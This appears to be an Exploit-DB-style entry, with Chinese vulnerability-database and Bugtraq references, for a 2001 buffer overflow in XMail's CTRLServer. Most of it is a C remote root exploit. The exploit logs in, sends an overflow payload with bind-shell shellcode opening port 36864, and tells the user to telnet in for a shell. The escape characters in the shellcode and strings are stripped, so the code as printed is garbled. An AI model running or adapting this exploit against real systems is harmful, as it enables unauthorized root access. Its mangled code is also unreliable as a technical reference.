https://www.exploit-db.com/exploits/20622
https://www.securityfocus.com/bid/88434
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200105-082

Xmail中CTRLServer存在缓冲区溢出漏洞。攻击者借助cfgfileget或者domaindel函数执行任意命令。

source: http://www.securityfocus.com/bid/2360/info

Versions of CTRLServer are vulnerable to malicious user-supplied input. A failure to properly bounds-check data passed to the cfgfileget() command leads to an overflow, which, properly exploited, can result in remote execution of malicious code with root privilege. 

/*
 * XMail CTRLServer remote root exploit for linux/x86
 *
 * Author: isno([email protected]), 01/2001
 *
 * NOTE:
 *  Because the buffer is too small to set many of NOP before shellcode,it
 * is deficult to guess ret.And it cannot brute force offset,because once 
 * sending overflow code to the CTRLServer, XMail will be crashed.
 *
 *
 * Tested on:
 *   RedHat Linux 6.0 i386 XMail 0.65
 *
 * Compile:
 *   gcc -o xmailx xmailx.c
 * 
 * Usage:
 *   ./xmailx username passwd targethost [offset]
 *   and telnet targethost 36864
 *
 */

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define BSIZE			512
#define RETADDRESS		0xbc7fe988    /* maybe 0xbffff9a4 in some box */
#define OFFSET			20
#define NOP				0x90
#define PORT			6017

void usage(char *app);

/*  shellcode bind TCP port 36864  */
char shellcode[]=
/* main: */
"xebx72"                                /* jmp callz               */
/* start: */
"x5e"                                    /* popl %esi               */
/* socket() */
"x29xc0"                                /* subl %eax, %eax         */
"x89x46x10"                            /* movl %eax, 0x10(%esi)   */
"x40"                                    /* incl %eax               */
"x89xc3"                                /* movl %eax, %ebx         */
"x89x46x0c"                            /* movl %eax, 0x0c(%esi)   */
"x40"                                    /* incl %eax               */
"x89x46x08"                            /* movl %eax, 0x08(%esi)   */
"x8dx4ex08"                            /* leal 0x08(%esi), %ecx   */
"xb0x66"                                /* movb $0x66, %al         */
"xcdx80"                                /* int $0x80               */
/* bind() */
"x43"                                    /* incl %ebx               */
"xc6x46x10x10"                        /* movb $0x10, 0x10(%esi)  */
"x66x89x5ex14"                        /* movw %bx, 0x14(%esi)    */
"x88x46x08"                            /* movb %al, 0x08(%esi)    */
"x29xc0"                                /* subl %eax, %eax         */
"x89xc2"                                /* movl %eax, %edx         */
"x89x46x18"                            /* movl %eax, 0x18(%esi)   */
"xb0x90"                                /* movb $0x90, %al         */
"x66x89x46x16"                        /* movw %ax, 0x16(%esi)    */
"x8dx4ex14"                            /* leal 0x14(%esi), %ecx   */
"x89x4ex0c"                            /* movl %ecx, 0x0c(%esi)   */
"x8dx4ex08"                            /* leal 0x08(%esi), %ecx   */
"xb0x66"                                /* movb $0x66, %al         */
"xcdx80"                                /* int $0x80               */
/* listen() */
"x89x5ex0c"                            /* movl %ebx, 0x0c(%esi)   */
"x43"                                    /* incl %ebx               */
"x43"                                    /* incl %ebx               */
"xb0x66"                                /* movb $0x66, %al         */
"xcdx80"                                /* int $0x80               */
/* accept() */
"x89x56x0c"                            /* movl %edx, 0x0c(%esi)   */
"x89x56x10"                            /* movl %edx, 0x10(%esi)   */
"xb0x66"                                /* movb $0x66, %al         */
"x43"                                    /* incl %ebx               */
"xcdx80"                                /* int $0x80               */
/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3"                                /* xchgb %al, %bl          */
"xb0x3f"                                /* movb $0x3f, %al         */
"x29xc9"                                /* subl %ecx, %ecx         */
"xcdx80"                                /* int $0x80               */
"xb0x3f"                                /* movb $0x3f, %al         */
"x41"                                    /* incl %ecx               */
"xcdx80"                                /* int $0x80               */
"xb0x3f"                                /* movb $0x3f, %al         */
"x41"                                    /* incl %ecx               */
"xcdx80"                                /* int $0x80               */
/* execve() */
"x88x56x07"                            /* movb %dl, 0x07(%esi)    */
"x89x76x0c"                            /* movl %esi, 0x0c(%esi)   */
"x87xf3"                                /* xchgl %esi, %ebx        */
"x8dx4bx0c"                            /* leal 0x0c(%ebx), %ecx   */
"xb0x0b"                                /* movb $0x0b, %al         */
"xcdx80"                                /* int $0x80               */
/* callz: */
"xe8x89xffxffxff"                    /* call start              */
"/bin/sh";
/*  128 bytes  */

int main(int argc, char *argv[])
{
	char buff[BSIZE+1];
	char sendbuf[600]="cfgfilegett";
	char loginbuf[200];
	char rcvbuf[1024];
	char *username;
	char *password;
	char *target;
	int i;
	int noprange;
	int offset=OFFSET;
	u_long sp=RETADDRESS;
	u_long addr;

	int skt;
	long inet;
	struct hostent *host;
    struct sockaddr_in sin;

    if(argc<4)
	{
		usage(argv[0]);
		return 1;
	}
	
    username = argv[1];
    password = argv[2];
    target = argv[3];
    if(argc>4)
	{
		offset = atoi(argv[4]);
	}

	addr=sp - (long)offset;
	noprange=256+4-strlen(shellcode);
	memset(buff, NOP, BSIZE);
	memcpy(buff+(long)noprange, shellcode, strlen(shellcode));
	for (i = 256+4; i < BSIZE; i += 4)
          *((int *) &buff[i]) = addr;

	buff[BSIZE]='';

	fprintf(stderr, "nUse retAddress: 0x%08xnn",addr);

	strcat(sendbuf, buff);
	strcat(sendbuf, "rn");
	strcpy(loginbuf,username);
	strcat(loginbuf,"t");      /* command should splitted by TAB */
	strcat(loginbuf,password);
	strcat(loginbuf,"rn");

	skt = socket(PF_INET, SOCK_STREAM, 0);
	if(skt == 0)
    {
      perror("socket()");
      exit(-1);
    }

    inet = inet_addr(target);
	if(inet == -1)
    {
      if(host = gethostbyname(target))
	    memcpy(&inet, host->h_addr, 4);
      else
		inet = -1;
      if(inet == -1)
		{
			fprintf(stderr, "Cant resolv %s!!n", target);
			exit (-1);
		}
    }
	sin.sin_family = PF_INET;
    sin.sin_port = htons(PORT);
    sin.sin_addr.s_addr = inet;
	if (connect (skt, (struct sockaddr *)&sin, sizeof(sin)) < 0)
    {
      perror("Connect()");
      exit(-1);
    }
	read(skt, rcvbuf, 1024);
	fprintf(stderr, "%sn", rcvbuf);
	memset(rcvbuf, 0x0, 1024);
	fprintf(stderr, "Starting to login...n");
	write(skt, loginbuf, strlen(loginbuf));
	sleep(1);
	read(skt, rcvbuf, 1024);
	if(strstr(rcvbuf,"00000")==NULL)
	{
		perror("Login failed!");
		exit(-1);
	}
	write(skt, sendbuf, strlen(sendbuf));
	close(skt);

	fprintf(stderr, "Success!now telnet %s 36864n", target);
	return 1;
}

void usage(char *app)
{
  fprintf(stderr, "nXMail 0.65/0.66 CTRLSvr exploitnn");
  fprintf(stderr, "Usage: %s username passwd targethost [offset]nn", app);
  return;
}

Davide Libenzi XMail 0.66

来源:xmailserver.org
链接:http://xmailserver.org/XMail-Readme.txt
来源:BUGTRAQ
名称:20010201XMailCTRLServerremotebufferoverflowvulnerability
链接:http://archives.neohapsis.com/archives/bugtraq/2001-02/0047.html